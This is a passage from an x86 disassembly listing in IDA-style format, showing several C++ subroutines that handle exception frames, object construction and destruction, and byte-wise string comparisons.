		call	sub_13ABC61
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+48h+arg_0], esp
		push	edx
		mov	[esp+4Ch+var_8], 0
		call	sub_13ABC61
		mov	ecx, esi
		mov	[esp+4Ch+var_C], 0FFFFFFFFh
		call	sub_13ABD1F
		mov	ecx, [esp+1Ch+var_14]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
sub_13BDEF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BDF80	proc near		; CODE XREF: sub_13AB581j

var_70		= byte ptr -70h
var_60		= byte ptr -60h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_8		= dword	ptr  0Ch
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	439B63h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_13BE0C9
		lea	ecx, [esp+48h+arg_0]
		call	sub_13ABBE4
		test	eax, eax
		jz	loc_13BE0C9
		push	esi
		push	edi
		push	offset dword_443CA4
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+60h+var_10], 1
		call	sub_13AB6EE
		lea	ecx, [esp+60h+var_4C]
		mov	edi, eax
		mov	[esp+60h+var_14], bl
		call	sub_13AB626
		cmp	edi, ebx
		jz	loc_13BE0A3
		add	ebp, 54h


loc_13BE000:				; CODE XREF: sub_13BDF80+11Dj
		push	15h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+60h+var_50], eax
		cmp	eax, ebx
		mov	[esp+60h+var_14], 2
		jz	short loc_13BE020
		mov	ecx, eax
		call	sub_13AC32D
		jmp	short loc_13BE022
; ---------------------------------------------------------------------------


loc_13BE020:				; CODE XREF: sub_13BDF80+95j
		xor	eax, eax


loc_13BE022:				; CODE XREF: sub_13BDF80+9Ej
		push	offset dword_443CA4
		lea	ecx, [esp+64h+var_34]
		push	esi
		push	ecx
		lea	ecx, [esp+6Ch+var_C]
		mov	[esp+6Ch+var_14], bl
		mov	[esp+6Ch+arg_8], eax
		call	sub_13ABAAE
		mov	ecx, [esp+6Ch]
		push	eax
		mov	[esp+70h+var_20], 3
		call	sub_13AC40E
		lea	ecx, [esp+70h+var_44]
		mov	[esp+70h+var_24], bl
		call	sub_13AB626
		lea	edx, [esp+70h+var_4]
		mov	ecx, ebp
		push	edx
		call	sub_13AB87E
		inc	esi
		push	offset dword_443CA4
		lea	eax, [esp+78h+var_60]
		push	esi
		push	eax
		lea	ecx, [esp+80h+var_20]
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+84h+var_34], 1
		call	sub_13AB6EE
		lea	ecx, [esp+84h+var_70]
		mov	edi, eax
		mov	byte ptr [esp+84h+var_38], bl
		call	sub_13AB626
		cmp	edi, ebx
		jnz	loc_13BE000


loc_13BE0A3:				; CODE XREF: sub_13BDF80+77j
		lea	ecx, [esp+84h+var_30]
		mov	[esp+84h+var_38], 0FFFFFFFFh
		call	sub_13AB626
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+74h+var_40]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_13BE0C9:				; CODE XREF: sub_13BDF80+26j
					; sub_13BDF80+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_13BDF80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BE150	proc near		; CODE XREF: sub_13AC32Dj
		push	esi
		mov	esi, ecx
		call	sub_13AB824
		mov	eax, esi
		pop	esi
		retn
sub_13BE150	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BE170	proc near		; CODE XREF: sub_13AB4F0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+20h+arg_4], esp
		push	edx
		call	sub_13ABC61
		mov	ecx, esi
		call	sub_13AB581
		pop	esi
		retn	8
sub_13BE170	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BE1B0	proc near		; CODE XREF: sub_13ABC9Dj

var_7C		= byte ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_5C		= byte ptr -5Ch
var_50		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_14		= byte ptr  18h
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h

		push	0FFFFFFFFh
		push	439BB3h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_13AB8C9
		mov	ecx, ebp
		call	sub_13AC0D0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_13BE39E
		sub	esp, 18h
		lea	edx, [esp+58h+var_18]
		mov	ecx, esp
		mov	[esp+58h+var_30], esp
		push	edx
		call	sub_13AB8C9
		mov	ecx, ebp
		call	sub_13AC512
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_13BE39E
		push	edi
		lea	eax, [esp+60h+var_1C]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+78h+var_4C], esp
		push	eax
		call	sub_13AB8C9
		mov	ecx, ebp
		call	sub_13AB5DB
		cmp	al, bl
		jz	loc_13BE39E
		push	offset byte_446F80
		lea	ecx, [esp+80h+var_C]
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13BE297
		lea	ecx, [edi+2Ah]
		call	sub_13ABBE4
		lea	ecx, [esp+80h+var_10]
		mov	esi, eax
		call	sub_13ABBE4


loc_13BE266:				; CODE XREF: sub_13BE1B0+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13BE28A
		cmp	cl, bl
		jz	short loc_13BE286
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13BE28A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_13BE266


loc_13BE286:				; CODE XREF: sub_13BE1B0+C0j
		xor	eax, eax
		jmp	short loc_13BE28F
; ---------------------------------------------------------------------------


loc_13BE28A:				; CODE XREF: sub_13BE1B0+BCj
					; sub_13BE1B0+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13BE28F:				; CODE XREF: sub_13BE1B0+D8j
		cmp	eax, ebx
		jnz	loc_13BE39E


loc_13BE297:				; CODE XREF: sub_13BE1B0+A1j
		push	offset byte_446F80
		lea	ecx, [esp+84h+arg_4]
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13BE2F3
		lea	ecx, [edi+3Fh]
		call	sub_13ABBE4
		lea	ecx, [esp+84h+arg_0]
		mov	esi, eax
		call	sub_13ABBE4


loc_13BE2C2:				; CODE XREF: sub_13BE1B0+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13BE2E6
		cmp	cl, bl
		jz	short loc_13BE2E2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13BE2E6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_13BE2C2


loc_13BE2E2:				; CODE XREF: sub_13BE1B0+11Cj
		xor	eax, eax
		jmp	short loc_13BE2EB
; ---------------------------------------------------------------------------


loc_13BE2E6:				; CODE XREF: sub_13BE1B0+118j
					; sub_13BE1B0+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13BE2EB:				; CODE XREF: sub_13BE1B0+134j
		cmp	eax, ebx
		jnz	loc_13BE39E


loc_13BE2F3:				; CODE XREF: sub_13BE1B0+FAj
		push	58h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+84h+var_70], eax
		cmp	eax, ebx
		mov	[esp+84h+var_64], 5
		jz	short loc_13BE313
		mov	ecx, eax
		call	sub_13AC107
		jmp	short loc_13BE315
; ---------------------------------------------------------------------------


loc_13BE313:				; CODE XREF: sub_13BE1B0+158j
		xor	eax, eax


loc_13BE315:				; CODE XREF: sub_13BE1B0+161j
		mov	[esp+84h+var_74], eax
		mov	[eax], edi
		mov	ecx, [esp+84h+var_74]
		lea	eax, [esp+84h+var_5C]
		push	eax
		add	ecx, 4
		mov	[esp+88h+var_64], 4
		call	sub_13AC40E
		mov	eax, [esp+88h+var_78]
		lea	edx, [esp+88h+var_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_13AC40E
		lea	ecx, [esp+8Ch+var_7C]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_13AB806
		lea	ecx, [esp+90h+var_68]
		mov	byte ptr [esp+90h+var_70], 3
		call	sub_13AB626
		lea	ecx, [esp+90h+var_50]
		mov	byte ptr [esp+90h+var_70], 2
		call	sub_13AB626
		lea	ecx, [esp+90h+var_38]
		mov	byte ptr [esp+90h+var_70], 1
		call	sub_13AB626
		lea	ecx, [esp+90h+var_20]
		mov	byte ptr [esp+90h+var_70], bl
		call	sub_13AB626
		lea	ecx, [esp+90h+var_8]
		mov	[esp+90h+var_70], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1
		jmp	short loc_13BE3EB
; ---------------------------------------------------------------------------


loc_13BE39E:				; CODE XREF: sub_13BE1B0+44j
					; sub_13BE1B0+68j ...
		lea	ecx, [esp+40h+var_18]
		mov	byte ptr [esp+40h+var_20], 3
		call	sub_13AB626
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+40h+var_20], 2
		call	sub_13AB626
		lea	ecx, [esp+40h+arg_14]
		mov	byte ptr [esp+40h+var_20], 1
		call	sub_13AB626
		lea	ecx, [esp+40h+arg_2C]
		mov	byte ptr [esp+40h+var_20], bl
		call	sub_13AB626
		lea	ecx, [esp+40h+arg_44]
		mov	[esp+40h+var_20], 0FFFFFFFFh
		call	sub_13AB626
		xor	al, al


loc_13BE3EB:				; CODE XREF: sub_13BE1B0+1ECj
		mov	ecx, [esp+40h+var_28]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_13BE1B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BE4A0	proc near		; CODE XREF: sub_13AC107j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	439BF1h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_13AB824
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB824
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB824
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13BE4A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BE530	proc near		; CODE XREF: sub_13AC1C0j

var_98		= dword	ptr -98h
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	0FFFFFFFFh
		push	439C30h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_10]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+2Ch+var_10], esp
		push	eax
		call	sub_13ABC61
		mov	edx, [esp+30h+arg_8]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+48h+arg_C], esp
		push	edx
		mov	[esp+4Ch+var_8], 0
		call	sub_13ABC61
		mov	eax, [esp+4Ch+arg_0]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+64h+arg_4], esp
		push	eax
		mov	byte ptr [esp+68h+var_C], 1
		call	sub_13ABC61
		mov	edx, [esp+68h+var_4]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+84h+var_10], 2
		call	sub_13ABC61
		mov	eax, [esp+84h+var_C]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+9Ch+var_8], esp
		push	eax
		mov	[esp+0A0h+var_14], 3
		call	sub_13ABC61
		mov	ecx, esi
		mov	[esp+0A0h+var_18], 0FFFFFFFFh
		call	sub_13ABC9D
		mov	ecx, [esp+0A0h+var_98]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
sub_13BE530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BE620	proc near		; CODE XREF: sub_13AB937j
		add	ecx, 6Ch
		jmp	sub_13AC062
sub_13BE620	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BE640	proc near		; CODE XREF: sub_13AB77Fj

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_C		= byte ptr  10h
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_28		= byte ptr  2Ch
arg_30		= byte ptr  34h
arg_3C		= byte ptr  40h
arg_48		= byte ptr  4Ch
arg_50		= byte ptr  54h

		push	0FFFFFFFFh
		push	439C7Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	dword ptr [esp+4+arg_0], eax
		test	eax, eax
		mov	[esp+4+arg_C], 4
		jz	short loc_13BE683
		mov	ecx, eax
		call	sub_13ABFE0
		jmp	short loc_13BE685
; ---------------------------------------------------------------------------


loc_13BE683:				; CODE XREF: sub_13BE640+38j
		xor	eax, eax


loc_13BE685:				; CODE XREF: sub_13BE640+41j
		lea	ecx, [esp+4+arg_14]
		mov	[esp+4+arg_C], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_13AC40E
		mov	eax, [esp+8+var_4]
		lea	edx, [esp+8+arg_28]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_13AC40E
		mov	edx, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+arg_3C]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_13AC40E
		mov	ecx, [esp+10h+var_C]
		lea	eax, [esp+10h+arg_50]
		push	eax
		add	ecx, 3Fh
		call	sub_13AC40E
		lea	edx, [esp+14h+var_10]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_13AC2F1
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_13AB626
		lea	ecx, [esp+18h+arg_18]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esp+18h+arg_30]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_13AB626
		lea	ecx, [esp+18h+arg_48]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+18h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
sub_13BE640	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BE770	proc near		; CODE XREF: sub_13ABFE0j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	439CC9h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_13AB824
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_13AB824
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_13AB824
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_13AB72A
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
sub_13BE770	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BE810	proc near		; CODE XREF: sub_13AB4FAj

var_7C		= dword	ptr -7Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	0FFFFFFFFh
		push	439CF8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_C]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+2Ch+var_10], esp
		push	eax
		call	sub_13ABC61
		mov	edx, [esp+30h+arg_4]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+48h+arg_8], esp
		push	edx
		mov	[esp+4Ch+var_8], 0
		call	sub_13ABC61
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+64h+arg_0], esp
		push	eax
		mov	[esp+68h+var_C], 1
		call	sub_13ABC61
		mov	edx, [esp+68h+var_8]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h+var_4], esp
		push	edx
		mov	byte ptr [esp+84h+var_10], 2
		call	sub_13ABC61
		mov	ecx, esi
		mov	[esp+84h+var_14], 0FFFFFFFFh
		call	sub_13AB77F
		mov	ecx, [esp+84h+var_7C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
sub_13BE810	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BE8E0	proc near		; CODE XREF: sub_13AC1ACj

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_8		= byte ptr  0Ch
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	439D18h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_13AC21F
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_13AB6E9
		mov	edx, [eax]
		lea	eax, [esp+1Ch+arg_14]
		push	eax
		mov	ecx, esi
		mov	[esp+20h+var_18], edx
		call	sub_13AC189
		push	eax
		lea	ecx, [esp+24h+var_1C]
		call	sub_13AC15C
		test	al, al
		jz	short loc_13BE990


loc_13BE945:				; CODE XREF: sub_13BE8E0+AEj
		lea	ecx, [esp+24h+var_8]
		push	ecx
		lea	ecx, [esp+28h+var_20]
		call	sub_13AC3A5
		mov	ecx, [eax]
		call	sub_13ABF72
		test	eax, eax
		jnz	short loc_13BE96D
		lea	ecx, [esp+28h+var_24]
		call	sub_13AC3A5
		mov	edx, [eax]
		mov	[esp+28h+var_20], edx


loc_13BE96D:				; CODE XREF: sub_13BE8E0+7Cj
		lea	ecx, [esp+28h+var_24]
		call	sub_13AC4A4
		lea	eax, [esp+28h+arg_8]
		mov	ecx, esi
		push	eax
		call	sub_13AC189
		push	eax
		lea	ecx, [esp+30h+var_28]
		call	sub_13AC15C
		test	al, al
		jnz	short loc_13BE945


loc_13BE990:				; CODE XREF: sub_13BE8E0+63j
		mov	eax, [esp+30h+var_28]
		test	eax, eax
		jz	short loc_13BE9D8
		lea	ecx, [esp+30h+var_28]
		push	ecx
		mov	ecx, esi
		call	sub_13AB658
		mov	ecx, [esp+34h+var_2C]
		test	ecx, ecx
		jz	short loc_13BE9B3
		push	1
		call	sub_13ABDDD


loc_13BE9B3:				; CODE XREF: sub_13BE8E0+CAj
		lea	ecx, [esp+38h+var_1C]
		mov	[esp+38h+var_24], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1
		pop	esi
		mov	ecx, [esp+34h+var_2C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_13BE9D8:				; CODE XREF: sub_13BE8E0+B6j
		lea	ecx, [esp+30h+var_14]
		mov	[esp+30h+var_1C], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+30h+var_24]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_13BE8E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BEA50	proc near		; CODE XREF: sub_13ABDDDj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AC620
		test	[esp+4+arg_0], 1
		jz	short loc_13BEA68
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13BEA68:				; CODE XREF: sub_13BEA50+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13BEA50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13BEA80	proc near		; CODE XREF: sub_13AC620j
		jmp	sub_13AB626
sub_13BEA80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BEAA0	proc near		; CODE XREF: sub_13AB676j

var_71		= byte ptr -71h
var_6C		= byte ptr -6Ch
var_61		= byte ptr -61h
var_5C		= byte ptr -5Ch
var_54		= dword	ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_29		= byte ptr -29h
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	439D40h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset dword_443CA4
		lea	eax, [esp+40h+var_24]
		push	ebx
		push	eax
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], ebx
		mov	[esp+48h+var_29], 1
		xor	esi, esi
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+4Ch+var_10], 1
		call	sub_13AB6EE
		lea	ecx, [esp+4Ch+var_34]
		mov	edi, eax
		mov	[esp+4Ch+var_14], bl
		call	sub_13AB626
		cmp	edi, ebx
		jz	short loc_13BEB69


loc_13BEB03:				; CODE XREF: sub_13BEAA0+C7j
		mov	ecx, [esp+4Ch+arg_8]
		push	ecx
		lea	ecx, [esp+50h+var_C]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+68h+var_38], esp
		push	offset dword_443CA4
		push	esi
		push	edx
		call	sub_13ABAAE
		mov	ecx, ebp
		call	sub_13AC1AC
		cmp	al, bl
		jnz	short loc_13BEB30
		mov	[esp+74h+var_61], bl


loc_13BEB30:				; CODE XREF: sub_13BEAA0+8Aj
		inc	esi
		push	offset dword_443CA4
		lea	eax, [esp+78h+var_5C]
		push	esi
		push	eax
		lea	ecx, [esp+80h+var_34]
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+84h+var_48], 1
		call	sub_13AB6EE
		lea	ecx, [esp+84h+var_6C]
		mov	edi, eax
		mov	byte ptr [esp+84h+var_4C], bl
		call	sub_13AB626
		cmp	edi, ebx
		jnz	short loc_13BEB03


loc_13BEB69:				; CODE XREF: sub_13BEAA0+61j
		lea	ecx, [esp+84h+var_44]
		mov	[esp+84h+var_4C], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+84h+var_54]
		mov	al, [esp+84h+var_71]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
sub_13BEAA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BEBE0	proc near		; CODE XREF: sub_13AC50Dj

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	439D60h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_13ABBE4
		test	eax, eax
		jz	loc_13BED14
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_13AC652
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_13ABCF2
		mov	ecx, [eax]
		lea	edx, [esp+20h+var_14]
		mov	[esp+20h+var_1C], ecx
		push	edx
		mov	ecx, esi
		call	sub_13AB54A
		push	eax
		lea	ecx, [esp+28h+var_20]
		call	sub_13AB739
		test	al, al
		jz	short loc_13BECBE


loc_13BEC54:				; CODE XREF: sub_13BEBE0+DCj
		lea	eax, [esp+28h+var_8]
		lea	ecx, [esp+28h+var_24]
		push	eax
		call	sub_13AB75C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_13ABF72
		test	eax, eax
		jz	short loc_13BEC8C
		lea	ecx, [esp+2Ch+arg_8]
		push	ecx
		lea	ecx, [esp+30h+var_28]
		call	sub_13AB75C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_13ABF72
		test	eax, eax
		jnz	short loc_13BEC9B


loc_13BEC8C:				; CODE XREF: sub_13BEBE0+8Ej
		lea	ecx, [esp+30h+var_2C]
		call	sub_13AB75C
		mov	edx, [eax]
		mov	[esp+30h+var_28], edx


loc_13BEC9B:				; CODE XREF: sub_13BEBE0+AAj
		lea	ecx, [esp+30h+var_2C]
		call	sub_13AB58B
